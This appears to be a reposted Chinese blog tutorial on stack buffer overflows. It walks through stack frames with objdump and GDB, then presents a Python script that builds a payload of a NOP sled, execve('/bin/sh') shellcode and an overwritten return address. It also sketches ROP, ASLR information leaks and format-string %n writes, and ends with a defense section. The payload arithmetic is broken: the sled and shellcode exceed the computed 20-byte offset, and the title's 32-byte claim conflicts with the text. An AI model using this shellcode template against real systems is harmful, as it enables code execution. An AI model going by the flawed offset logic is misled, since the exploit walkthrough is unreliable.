当前位置: 首页 > news >正文

GDB + objdump 实战缓冲区溢出:3步定位栈帧与覆盖返回地址(附32字节攻击串构造)

GDB与objdump实战:从栈帧解剖到缓冲区溢出攻击的艺术

1. 理解栈帧结构与函数调用机制

在计算机安全领域,栈帧是理解缓冲区溢出攻击的基础。当一个函数被调用时,系统会在内存的栈区为该函数分配一块连续的空间,这块空间就称为栈帧(Stack Frame)。栈帧中存储了函数的局部变量、参数、返回地址以及前一个栈帧的基址等重要信息。

让我们通过一个简单的C函数示例来分析栈帧的典型布局:

void vulnerable_function(char *input) { char buffer[16]; strcpy(buffer, input); }

使用objdump工具反汇编这个函数,我们可以看到对应的汇编代码:

objdump -d -M intel vulnerable_program

输出结果中关于该函数的部分可能如下:

0804845b <vulnerable_function>: 804845b: 55 push ebp 804845c: 89 e5 mov ebp,esp 804845e: 83 ec 18 sub esp,0x18 8048461: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048464: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 8048468: 8d 45 f0 lea eax,[ebp-0x10] 804846b: 89 04 24 mov DWORD PTR [esp],eax 804846e: e8 bd fe ff ff call 8048330 <strcpy@plt> 8048473: c9 leave 8048474: c3 ret

这段汇编代码揭示了栈帧创建和销毁的全过程:

  1. push ebp:保存前一个栈帧的基址指针
  2. mov ebp,esp:设置当前栈帧的基址指针
  3. sub esp,0x18:为局部变量分配空间
  4. 函数执行完毕后,leave指令恢复栈指针和基址指针
  5. ret指令从栈中弹出返回地址并跳转

典型的栈帧布局如下表所示:

内存地址内容说明
高地址参数2函数调用时压入的参数
参数1
返回地址call指令自动压入
保存的ebp前一个栈帧的基址指针
局部变量(buffer)函数内部定义的变量
低地址其他局部变量

理解这个布局对于构造缓冲区溢出攻击至关重要,因为我们需要精确计算需要多少数据才能覆盖到关键的返回地址。

2. GDB调试实战:定位关键内存地址

GNU调试器(GDB)是我们分析程序运行时行为的最强大工具。下面我将演示如何使用GDB来定位缓冲区溢出攻击中需要的关键内存地址。

首先,我们加载目标程序并设置断点:

gdb -q ./bufbomb (gdb) break *vulnerable_function+0 (gdb) run < input.txt

当程序在断点处暂停时,我们可以检查寄存器和栈的状态:

(gdb) info registers eax 0x1 1 ecx 0xbffff6d0 -1073744176 edx 0xb7fcd870 -1208219536 ebx 0xb7fc6ff4 -1208254476 esp 0xbffff5a0 0xbffff5a0 ebp 0xbffff5b8 0xbffff5b8 esi 0x0 0 edi 0x0 0 eip 0x804845b 0x804845b <vulnerable_function>

通过分析寄存器值,我们可以确定:

  • ebp指向当前栈帧的基址(0xbffff5b8)
  • esp指向栈顶(0xbffff5a0)

接下来,我们检查局部变量buffer的地址:

(gdb) print &buffer $1 = (char (*)[16]) 0xbffff5a8

计算从buffer开始到返回地址的偏移量:

  1. buffer地址:0xbffff5a8
  2. 保存的ebp地址:0xbffff5b8 (占用4字节)
  3. 返回地址位于:0xbffff5bc

因此,偏移量为:0xbffff5bc - 0xbffff5a8 = 20字节

这意味着我们需要构造一个至少24字节的输入(16字节填充buffer + 4字节覆盖ebp + 4字节覆盖返回地址)才能成功控制程序流程。

3. 构造精确的攻击载荷

理解了栈帧布局和偏移量后,我们可以开始构造攻击字符串。攻击字符串通常由以下几部分组成:

  1. NOP雪橇(NOP Sled):一系列无操作指令(0x90),增加攻击成功的概率
  2. Shellcode:实现攻击者目标的机器代码
  3. 返回地址:指向攻击代码的地址

下面是一个典型的攻击字符串构造过程:

import struct # 计算buffer到返回地址的偏移量 offset = 20 # 目标返回地址(指向NOP雪橇中间位置) return_addr = 0xbffff5a8 + 8 # buffer地址 + 8字节 # 构造攻击字符串 nop_sled = "\x90" * 100 shellcode = ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ) padding = "A" * (offset - len(nop_sled) - len(shellcode)) payload = nop_sled + shellcode + padding + struct.pack("<I", return_addr) with open("exploit.txt", "wb") as f: f.write(payload)

这个Python脚本生成了一个攻击字符串,其中:

  • 前100字节是NOP指令(\x90)
  • 接着是23字节的shellcode(启动一个shell)
  • 然后是用"A"填充剩余空间直到覆盖返回地址
  • 最后4字节是我们计算出的返回地址,指向NOP雪橇中间位置

注意:实际攻击中,返回地址需要根据目标系统的具体内存布局进行调整。现代操作系统通常有地址空间随机化(ASLR)保护,这使得预测准确地址更加困难。

4. 高级攻击技巧:绕过现代保护机制

现代操作系统和编译器实现了多种保护机制来防御缓冲区溢出攻击,包括:

  1. 栈不可执行(NX/DEP):标记栈内存为不可执行
  2. 地址空间随机化(ASLR):随机化内存布局
  3. 栈保护器(Stack Canary):在返回地址前插入检测值

针对这些保护机制,攻击者也开发了相应的绕过技术:

4.1 返回导向编程(ROP)

当栈不可执行时,我们可以使用ROP技术。ROP通过组合程序中已有的代码片段(gadgets)来构造攻击链,而不需要注入可执行代码。

# 使用ROPgadget工具查找可用的gadgets ROPgadget --binary vuln_program > gadgets.txt

典型的ROP攻击链可能包括:

  1. 设置系统调用参数的gadgets
  2. 调用execve("/bin/sh")的gadget
  3. 退出程序的gadget

4.2 信息泄露绕过ASLR

要绕过ASLR,攻击者通常需要先泄露某些内存地址,然后基于这些信息计算其他地址。例如:

// 存在信息泄露漏洞的函数 void leak_address() { char buffer[32]; printf("Address of buffer: %p\n", buffer); }

通过结合信息泄露和缓冲区溢出,攻击者可以构建可靠的攻击。

4.3 格式化字符串漏洞利用

格式化字符串漏洞不仅可以用来读取内存,还可以用来写入任意内存地址,这对于绕过保护机制非常有用:

// 危险的格式化字符串函数调用 printf(user_input); // 用户控制格式字符串

攻击者可以利用%n格式说明符向指定地址写入数据,从而修改关键内存位置。

5. 防御策略与安全编程实践

理解了攻击技术后,更重要的是如何防御这些攻击。以下是一些关键的安全编程实践:

  1. 使用安全的字符串函数

    • 避免使用strcpy,strcat,gets等危险函数
    • 使用strncpy,strncat,fgets等安全替代品
  2. 启用编译器和操作系统保护

    # 编译时启用保护 gcc -fstack-protector -z noexecstack -pie -fPIC -o safe_program program.c
  3. 静态和动态分析工具

    • 使用Coverity、Fortify等静态分析工具
    • 运行时使用AddressSanitizer(ASan)检测内存错误
  4. 最小权限原则

    • 程序应以最小必要权限运行
    • 避免使用root权限运行可能有漏洞的程序
  5. 输入验证和过滤

    • 对所有用户输入进行严格的验证
    • 实施白名单而非黑名单策略

通过结合这些防御措施,可以显著降低缓冲区溢出漏洞的风险,构建更加安全的软件系统。

http://www.jsqmd.com/news/1149778/

相关文章:

  • Windows 逆向排查:Cheat Engine 7.5 搜索无结果的5种常见原因与解决方案
  • 交友平台XSS漏洞实战:从闭合<textarea>到Cookie窃取的3步完整复现
  • SQL 慢查询治理:慢日志不是收集完就算完事了
  • Apache Flink <=1.9.1 未授权RCE漏洞:从 Jar 上传到系统权限获取的 3 步攻击链分析
  • 终极网盘高速下载解决方案:九大平台直链获取完整指南
  • C 语言数组越界漏洞实战:利用整数溢出绕过边界检查获取 Shell
  • XSS-Labs Level19 Flash XSS 解析:FFdec反编译与ActionScript 2.0漏洞利用
  • Honey Select 2游戏增强补丁:终极汉化与功能扩展完整指南
  • XSS 漏洞实战:交友平台靶场通关,3步获取管理员Cookie
  • 终极指南:如何彻底禁用Windows Defender并释放系统性能的3大优势
  • 线上虚拟时装秀观看转化统计程序,对比线下实体秀订单签约转化差异。
  • BilibiliDown:三分钟掌握B站视频下载的完整指南
  • FaceDetailer节点种子参数缺失问题的深度技术解析
  • PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 漏洞 34 字符构造与数组绕过
  • 安卓逆向签名破解:从Fiddler抓包到JPype调用JAR还原Signature算法
  • OWASP ZAP 2.15.0 进阶模糊测试:3种Payload策略破解DVWA高安全等级
  • PUBG Mobile Radar 1.2 海岛图失效修复:x32dbg 逆向分析 3 步定位地图名偏移
  • Dependency-Check vs Grype:3大维度对比评测,离线扫描准确率与性能实测
  • 腾讯乐加固 v2.10.6 脱壳实战:3步定位并Hook关键Application入口
  • m3u8-downloader:让视频下载像喝水一样简单的跨平台神器
  • 企业微信API 3种消息模板对比:文本、图文与模板卡片的发送效率实测
  • JMeter数据库性能压测实战:从连接配置到瓶颈定位
  • STM32G071RB与AD7490构建高精度数据采集系统
  • Windows Server 2012 R2 IIS 8.5 虚拟机部署:3步配置本地Web服务器与hosts解析
  • Blender 3MF格式导入导出终极指南:让3D打印工作流更完整
  • 东芝TC78H653FTG与PIC18LF46K40的直流有刷电机控制方案
  • Linux Here Document 深度解析:从 cat << EOF 到 exec 5<<EOF 的 4 种重定向
  • Kafka SASL/PLAIN vs SASL/SCRAM:2种认证机制的安全性与配置复杂度对比
  • 企业微信可信域名配置 2024:3种后端服务校验方案对比与避坑指南
  • 高精度ADC ADS1262与PIC18LF4620的工业测量应用